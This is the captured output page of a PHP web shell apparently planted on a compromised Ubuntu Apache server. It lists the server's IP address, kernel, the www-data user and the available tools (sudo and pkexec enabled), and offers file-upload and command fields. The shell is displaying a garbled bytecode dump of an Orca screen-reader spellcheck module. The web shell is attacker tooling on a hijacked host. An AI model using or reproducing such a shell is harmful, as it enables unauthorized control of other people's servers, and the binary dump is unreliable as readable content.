403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/orca/scripts/apps/gedit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/orca/scripts/apps/gedit/__pycache__/spellcheck.cpython-310.pyc
o

S�bq
�@sBdZdZdZdZdZdZddlZddlmZGdd	�d	ej	�Z	dS)
z+Customized support for spellcheck in Gedit.z$Id$z
$Revision$z$Date$zCopyright (c) 2014 Igalia, S.L.�LGPL�NcsDeZdZ�fdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Z�Z	S)
�
SpellCheckcstt|��|�dS�N)�superr�__init__)�self�script��	__class__��D/usr/lib/python3/dist-packages/orca/scripts/apps/gedit/spellcheck.pyr#szSpellCheck.__init__cCsH|sdS|��}|tjkrdS|tjkrdSdd�}t�||�r"dSdS)NFTcS�|o|��tjkSr)�getRole�pyatspi�ROLE_SPLIT_PANE��xrrr�<lambda>0�z/SpellCheck._isCandidateWindow.<locals>.<lambda>)rr�ROLE_DIALOG�
ROLE_FRAME�findDescendant)r�window�role�isSplitPanerrr�_isCandidateWindow&s

zSpellCheck._isCandidateWindowcC�dd�}t�||�S)NcSs"|o|��tjko|���tj�Sr)rr�	ROLE_TEXT�getState�contains�STATE_SINGLE_LINErrrrr7sz/SpellCheck._findChangeToEntry.<locals>.<lambda>�rr)r�root�isEntryrrr�_findChangeToEntry6�zSpellCheck._findChangeToEntrycCs2dd�}t�|j|�}|sdSdd�}t�||�S)NcSr
r)rr�
ROLE_PANELrrrrr<rz-SpellCheck._findErrorWidget.<locals>.<lambda>cSs&|o|��tjkod|jvo|��S)N�:)rr�
ROLE_LABEL�name�getRelationSetrrrrrAs�
)r�findAncestor�_changeToEntryr)rr"�isPanel�panel�isErrorrrr�_findErrorWidget;szSpellCheck._findErrorWidgetcCr)NcSs|o|��tjkod|��vS)N�	Selection)rr�
ROLE_TABLE�get_interfacesrrrrrFsz1SpellCheck._findSuggestionsList.<locals>.<lambda>r!)rr"�isTablerrr�_findSuggestionsListEr%zSpellCheck._findSuggestionsListcCs"|jj�|�\}}|d8}||fS)N�)�_script�	utilities�getPositionAndSetSize)r�
suggestion�index�totalrrr�_getSuggestionIndexAndPositionJsz)SpellCheck._getSuggestionIndexAndPosition)
�__name__�
__module__�__qualname__rrr$r0r5r=�
__classcell__rrr	rr!s
r)
�__doc__�__id__�__version__�__date__�
__copyright__�__license__r�orca.spellcheck�
spellcheckrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit